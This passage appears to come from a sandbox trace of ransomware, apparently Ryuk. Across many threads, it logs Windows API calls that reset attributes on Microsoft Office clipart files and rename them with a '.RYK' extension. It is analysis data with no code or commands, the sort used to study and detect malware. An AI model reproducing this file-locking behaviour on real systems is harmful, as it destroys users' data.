	[0240.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2050
	os_tid = 0x25ac

	[0239.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG", dwFileAttributes=0x80) returned 0
	[0239.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2051
	os_tid = 0x25b0

	[0239.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG", dwFileAttributes=0x80) returned 0
	[0239.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2052
	os_tid = 0x25b4

	[0239.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG", dwFileAttributes=0x80) returned 0
	[0240.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2053
	os_tid = 0x25b8

	[0239.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG", dwFileAttributes=0x80) returned 0
	[0240.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2054
	os_tid = 0x25bc

	[0239.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG", dwFileAttributes=0x80) returned 0
	[0240.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.061] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2055
	os_tid = 0x25c0

	[0239.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG", dwFileAttributes=0x80) returned 0
	[0240.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.060] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2056
	os_tid = 0x25c4

	[0239.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG", dwFileAttributes=0x80) returned 0
	[0240.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2057
	os_tid = 0x25c8

	[0239.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG", dwFileAttributes=0x80) returned 0
	[0240.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2058
	os_tid = 0x25cc

	[0239.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG", dwFileAttributes=0x80) returned 0
	[0240.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.268] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2059
	os_tid = 0x25d0

	[0239.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG", dwFileAttributes=0x80) returned 0
	[0240.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.269] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2060
	os_tid = 0x25d4

	[0239.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF", dwFileAttributes=0x80) returned 0
	[0240.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.270] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2061
	os_tid = 0x25d8

	[0239.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF", dwFileAttributes=0x80) returned 0
	[0240.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.271] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2062
	os_tid = 0x25dc

	[0239.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF", dwFileAttributes=0x80) returned 0
	[0240.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2063
	os_tid = 0x25e0

	[0240.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF", dwFileAttributes=0x80) returned 0
	[0240.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2064
	os_tid = 0x25e4

	[0240.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF", dwFileAttributes=0x80) returned 0
	[0240.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2065
	os_tid = 0x25e8

	[0240.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF", dwFileAttributes=0x80) returned 0
	[0240.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2066
	os_tid = 0x25ec

	[0240.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF", dwFileAttributes=0x80) returned 0
	[0240.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.278] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2067
	os_tid = 0x25f0

	[0240.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF", dwFileAttributes=0x80) returned 0
	[0240.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2068
	os_tid = 0x25f4

	[0240.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF", dwFileAttributes=0x80) returned 0
	[0240.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2069
	os_tid = 0x25f8

	[0240.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF", dwFileAttributes=0x80) returned 0
	[0240.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2070
	os_tid = 0x25fc

	[0240.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF", dwFileAttributes=0x80) returned 0
	[0240.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2071
	os_tid = 0x2600

	[0240.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF", dwFileAttributes=0x80) returned 0
	[0240.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2072
	os_tid = 0x2604

	[0240.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF", dwFileAttributes=0x80) returned 0
	[0240.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2073
	os_tid = 0x2608

	[0240.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF", dwFileAttributes=0x80) returned 0
	[0240.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2074
	os_tid = 0x260c

	[0240.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF", dwFileAttributes=0x80) returned 0
	[0240.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2075
	os_tid = 0x2610

	[0240.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF", dwFileAttributes=0x80) returned 0
	[0240.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
